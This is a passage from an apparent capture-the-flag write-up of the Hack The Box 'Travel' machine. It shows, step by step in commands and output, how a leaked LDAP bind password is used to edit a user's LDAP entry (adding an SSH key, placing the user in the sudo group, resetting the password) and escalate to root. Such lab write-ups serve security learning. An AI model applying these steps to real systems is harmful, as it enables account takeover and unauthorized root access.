lynik-admin@travel:~$ cat .viminfo

  # Registers:
  ""1	LINE	0
    	BINDPW Theroadlesstraveled
  |3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"

There is an LDAP bind password for the user lynick-admin cached in the .viminfo file as well the LDAP configuration for the said user.

5.2 LDAP Enumeration

5.2.1 ldapsearch

Looking at the available LDAP objects:

lynik-admin@travel:~$ ldapsearch -x -b 'dc=travel,dc=htb' -H ldap://ldap.travel.htb -w "Theroadlesstraveled" "objectClass=*"

  # lynik-admin, travel.htb
  dn: cn=lynik-admin,dc=travel,dc=htb
  description: LDAP administrator
  objectClass: simpleSecurityObject
  objectClass: organizationalRole
  cn: lynik-admin
  userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
  [...omitted...]
  # domainusers, groups, linux, servers, travel.htb
  dn: cn=domainusers,ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
  memberUid: frank
  memberUid: brian
  memberUid: christopher
  memberUid: johnny
  memberUid: julia
  memberUid: jerry
  memberUid: louise
  memberUid: eugene
  memberUid: edward
  memberUid: gloria
  memberUid: lynik
  gidNumber: 5000
  cn: domainusers
  objectClass: top
  objectClass: posixGroup
  [...omitted...]

The current user, lynik-admin, is the LDAP Administrator which means everything here is pretty much under the user’s control.

lynik-admin@travel:~$ ldapsearch -x -H ldap://ldap.travel.htb -w "Theroadlesstraveled" -b 'uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb'

  # brian, users, linux, servers, travel.htb
  dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
  uid: brian
  cn: Brian Bell
  sn: Bell
  givenName: Brian
  loginShell: /bin/bash
  uidNumber: 5002
  gidNumber: 5000
  homeDirectory: /home/brian
  objectClass: top
  objectClass: person
  objectClass: organizationalPerson
  objectClass: inetOrgPerson
  objectClass: posixAccount
  objectClass: shadowAccount

There are many other users in the domain but I guess brian’s the lucky one.

5.2.2 ldapmodify

This will be an attempt to edit the user, brian’s LDAP entry.

lynik-admin@travel:~$ cat /etc/group

  [...omitted...]
  sudo:x:27:trvl-admin
  [...omitted...]

First is to create an ldif file that will be used to add a public key and change the group and password of the user:

lynik-admin@travel:~$ echo "dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb" > /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "changetype: modify" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "add: objectClass" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "objectClass: ldapPublicKey" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "-" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "add: sshPublicKey" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DI4dq2RmPw/RCmKy6ss0SBs9X3qnK3UdM71KFOQzOvdhgD8F6rpUe3G2xxawWov2qeajOdE3bfmrfqH9EMoh1B2FgOoDP+/7LcvA2NhLXHtVPI1lvvmrI6BceLacnRTXxHsZbsJnF6CkHrDSZhhzmK0t8GEKocIabkfoweD+B+cO2/K3+D0Wm3eiNCyQldb/OydSgOxsK9/2Irp/X1WWErgtvzOAXCKYnQRJ154Xr907FEFl3jskE8bHnRJ7qHej3pM1epw6ecAeUpXiayjlSibT1rzTEEInx73NBeTq25Bew7TJ6C681ExlUvDh2jOeprvj1svP79lyaUckrB91g604D7AarJKzMrQlNj9/obBNFOgiOVNmvEtKDC2InKU6XMTSaRu7GeDw1I11cjRHYx8f0G2D/dEpHReupg+cIlvf8K7p5CRLmiXmDBPjPO7WfBBB3E4ZkOFvt+a3pjyVTNNUXT/ZDGtFNYSrmsJkJWL7yt6yKpRszOW63wZOfF0=" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "-" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "replace: gidNumber" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "gidNumber:27" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "-" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "replace: userPassword" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "userPassword: 1stepcloser" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ ldapmodify -x -H ldap://ldap.travel.htb -w "Theroadlesstraveled" -D 'cn=lynik-admin,dc=travel,dc=htb' -f /dev/shm/brian.ldif

  modifying entry "uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb"

lynik-admin@travel:~$ /usr/bin/sss_ssh_authorizedkeys brian

  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DI4dq2RmPw/RCmKy6ss0SBs9X3qnK3UdM71KFOQzOvdhgD8F6rpUe3G2xxawWov2qeajOdE3bfmrfqH9EMoh1B2FgOoDP+/7LcvA2NhLXHtVPI1lvvmrI6BceLacnRTXxHsZbsJnF6CkHrDSZhhzmK0t8GEKocIabkfoweD+B+cO2/K3+D0Wm3eiNCyQldb/OydSgOxsK9/2Irp/X1WWErgtvzOAXCKYnQRJ154Xr907FEFl3jskE8bHnRJ7qHej3pM1epw6ecAeUpXiayjlSibT1rzTEEInx73NBeTq25Bew7TJ6C681ExlUvDh2jOeprvj1svP79lyaUckrB91g604D7AarJKzMrQlNj9/obBNFOgiOVNmvEtKDC2InKU6XMTSaRu7GeDw1I11cjRHYx8f0G2D/dEpHReupg+cIlvf8K7p5CRLmiXmDBPjPO7WfBBB3E4ZkOFvt+a3pjyVTNNUXT/ZDGtFNYSrmsJkJWL7yt6yKpRszOW63wZOfF0=

After running /usr/bin/sss_ssh_authorizedkeys for the user, brian, it is verified that the public key was successfully written for the user.

PART 6 : PRIVILEGE ESCALATION (brian -> root)

$ ssh -i ~/Desktop/travel_brian.id_rsa -l brian 10.10.10.189

brian@travel:~$ id

  uid=5002(brian) gid=27(sudo) groups=27(sudo),5000(domainusers)

brian@travel:~$ sudo su - 
[sudo] password for brian: 1stepcloser

root@travel:~# id

  uid=0(root) gid=0(root) groups=0(root)
  
root@travel:~# cat /root/root.txt

  1c4d4d54d3e6c1931e7b3fa5ac28edb9

The added group (sudo) and the password change to 1stepcloser were successful as well.

PART 7 : REFERENCES

  • https://simplepie.org/

  • https://github.com/WordPress/WordPress/blob/master/wp-includes/class-simplepie.php

  • https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache.php

  • https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache/Memcache.php

  • https://riptutorial.com/php/example/4604/–sleep—and—wakeup–

  • https://blog.scalesec.com/just-in-time-ssh-provisioning-7b20d9736a07

  • https://simp.readthedocs.io/en/master/user_guide/User_Management/LDAP.html

  • https://www.digitalocean.com/community/tutorials/how-to-use-ldif-files-to-make-changes-to-an-openldap-system